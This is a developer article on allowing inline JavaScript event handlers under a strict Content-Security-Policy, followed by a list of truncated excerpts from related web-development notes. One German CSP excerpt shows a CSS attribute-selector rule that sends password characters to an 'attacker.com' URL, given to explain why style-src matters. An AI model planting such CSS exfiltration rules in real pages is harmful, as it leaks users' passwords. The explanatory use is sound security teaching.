Given you have a strict CSP that only allows elements from your own domain: Content-Security-Policy: script-src 'self' This will block JavaScript handlers inlined as attribute into your HTML elements. Clicking on the following link will only log an error with a strict CSP: click me click me Solution 1: Move the handler into your JavaScript The recommended solution is to move the handler from the HTML to the allowed JavaScript file that we loaded via . In the example above we could invent a new [data-alert] attribute with the alert message: click me Then our JavaScript intercepts clicks on elements with that attribute: document.addEventListener('click', function(event) { let link = event.target.closest('[data-alert]') if (link) { let message = link.dataset.alert alert(message) event.preventDefault() } }) Solution 2: Allow that one handler in your CSP Some browsers allow the CSP directive script-src-attr. This lets you allow the hashes of actual JavaScript code. The SHA256 hash of alert('hello') is vIsp2avtxDy0157AryO+jEJVpLdmka7PI7o7C4q5ABE= (in Base64). We can allow this one event handlers like this: Content-Security-Policy: script-src 'self'; script-src-attr 'unsafe-hashes' 'sha256-vIsp2avtxDy0157AryO+jEJVpLdmka7PI7o7C4q5ABE=' Note the sha256- prefix. This event handler now works when clicked: click me But any other script will still be blocked: click me Dealing with legacy browsers Currently (November 2023) about 75% of browsers support script-src-attr. Here is a forward-looking compromise that many users use with new CSP features: Have a liberal CSP with old directives supported by all browsers Make your CSP stricter with new, more specific directives for browsers that support it The CSP spec supports that approach in that using newer, more specific directives disable older, more general features. In our case this means: For old browsers, allow all inline scripts For new browsers, disallow inline scripts but allow inline handlers with given hashes Here is a CSP directive that works like this: Content-Security-Policy: script-src 'self' 'unsafe-inline'; script-src-elem 'self'; script-src-attr 'unsafe-hashes' 'sha256-vIsp2avtxDy0157AryO+jEJVpLdmka7PI7o7C4q5ABE=' Old browsers will only use script-src. New browsers will use script-src-elem (for tags) and script-src-attr (for inline event handlers), which override the more liberal rules from script-src.
...you never want to override with a default. To make it worse, languages like JavaScript or Perl have many more falsey values, including the number 0 or the empty string...
...has a key :x, and fetch will return its value nil. Setting defaults correctly: JavaScript Plain ES5 (no libraries) Prefer to check if the variable is null or undefined before...
...are for Sprockets. Every page in your application uses many assets, such as images, javascripts and stylesheets. Without your intervention, the browser will request these assets again and again on...
...to other images in your stylesheets (background-image: url(/path/to/asset)) and sometimes in your Javascripts. You need to route all these paths through Rails or you won't get hashed...
...common cause of non-accessible web pages are elements that were made interactive via JavaScript but cannot be focused or activated with anything but the mouse. ❌ Bad example
...without an additional [tabindex] attribute They can be activated with the keyboard without custom JavaScript. They will emit a click event after keyboard activation. By using a we can reduce...
...get a second request, but the error page will show with full CSS and JavaScript. The code assumes you are using Ruby on Rails with better_errors, which is the...
...prefer to set overflow properties to html (or :root). Scrolling the main viewport with JavaScript The browser's main document viewport is also scrollable by default. The element that corresponds...
...the correct element or set scrollTop on both and . Finding the scrolling element Your JavaScript can call document.scrollingElement to retrieve the scrollable element for the main viewport. On Chrome, Firefox...
Since images are magnitudes larger in file size than text (HTML, CSS, Javascript) is, loading the images of a large web page takes a significant amount of the...
...they enter the viewport – aka "lazy-loading images". General Issues Crawlers do not execute JavaScript (generally speaking). When removing the src attribute of an img tag in favor of lazy...
...time by only registering a single listener. When the descendants are changed dynamically via JavaScript, no additional event listeners must be registered to enhance new elements. This technique has some...
In the example above the container receives all click events and must run JavaScript to check if a .message element was hit. This can degrade performance when you deal...
...Repeating header on every page Repeating footer on every page You can actually execute JavaScript before the page is rendered to PDF, and implement things like page numbers in the...
...is already at the right position replace: { # You can pass custom data to your JavaScript this way custom: { :foo => 'bar', }.to_json } Both files are independent DOM trees and share...
...characters like & or = unescaped: # ❌ bad URI.encode('foo=foo&bar=bar') => "foo=foo&bar=bar" Javascript In Javascript, use encodeURIComponent: // ✅ good encodeURIComponent('foo=foo&bar=bar') => "foo%3Dfoo%26bar%3Dbar"
...browser must load via a separate request. While this transformation minimizes the amount of JavaScript transmitted, it may also cause your initial bundle to be split into multiple files, which...
...a simple tag in your HTML, or by instantiating a new Audio object from Javascript. No additional libraries are required, although browser implementations are so bad you will probably want...
...will be broken for VBR MP3s in Flash mode). The libraries usually have a Javascript API that is nicer than the ones provided by the browser and plain Flash, and...
Webpacker uses Babel and Webpack to transpile modern JavaScript down to EcmaScript 5. Depending on what browser a project needs to support, the final Webpack output needs to be different...
...E.g. when we need to support IE11 we can rely on fewer JavaScript features. Hence our output will be more verbose than when we only need support modern browsers.
...why a dialog is shown is somewhat fucked up. It often happens like this: @javascript Scenario: First scenario When I am on a page And I trigger an AJAX request...
...that shows an alert in case of an error @javascript Scenario: Second scenario When I am on another page If your PC is fast enough, the "When I am on...
...example is storing a transition duration as CSS custom property to read it from Javascript. By converting the value like this, you can ensure your Javascript will always get milliseconds...
...parallel_tests can be run CI and also supports splitting by runtimes Changes in JavaScript and CSS lead to insuficient mapping to features, even though template support has been enabled...
...to Coverage. This gives a benefit because changes in JavaScript often correlate with changes in HTML. This may partly also be influenced by the fact that features are harder to...
...Add <%= csrf_meta_tag %> into your layout's head Put this into a JavaScript file that is always loaded (like your application.js -- or another file you add to the javascript...
Add <%= csrf_meta_tag %> into your layout's head Put this into a JavaScript file that is always loaded (like your application.js -- or another file you add to the...
To ensure a consistent code style for JavaScript code, we use ESLint. The workflow is similar to integrating rubocop for Ruby code. 1. Adding the gem to an existing...
...and configure specific rules You can use comments to disable specific rules in your JavaScript code.. Or you could use your own configuration for specific rules, like: rules: {
(@foo or @bar) So you need to replace a hook like this: AfterStep('~@javascript') do ... end With this: AfterStep('not @javascript') do ... end Also grep your entire project for...
...aber die wichtigsten sind: Quellen: default-src: Fallback für alles weitere *-src script-src: JavaScript style-src: CSS font-src: Fonts img-src: Bilder object-src: Quellen für Plugins (z.B...
input[type="password"][value$="a"] { background-image: url("http://attacker.com/passwords-ends-with/a"); } Problem: Manche Javascript-Libraries (Editoren etc) verwenden Inline-Styles. object-src Auch wichtig. Wenn nicht eingeschränkt, können...
DirectUpload allows you to upload files to your file storage without having to wait for the form to submit. It...
...assets that we don't need allow_any_instance_of(ActionView::Base).to receive(:javascript_include_tag).and_return('script') allow_any_instance_of(ActionView::Base).to receive(:stylesheet_link...
...will have two CSRF tokens: A in the . This is required so client-side JavaScripts may make POST, PATCH, DELETE requests. An within each form. Since Rails 5 this token...
...test runner supports mocking a module's dependencies. This has some drawbacks for frontend JavaScript that targets the browser: Jest only runs in Node.js. This means your specs can no...
not matched Info As of 2024, possessive quantifiers are not supported in JavaScript. There's a TC 39 proposal that's stuck in stage...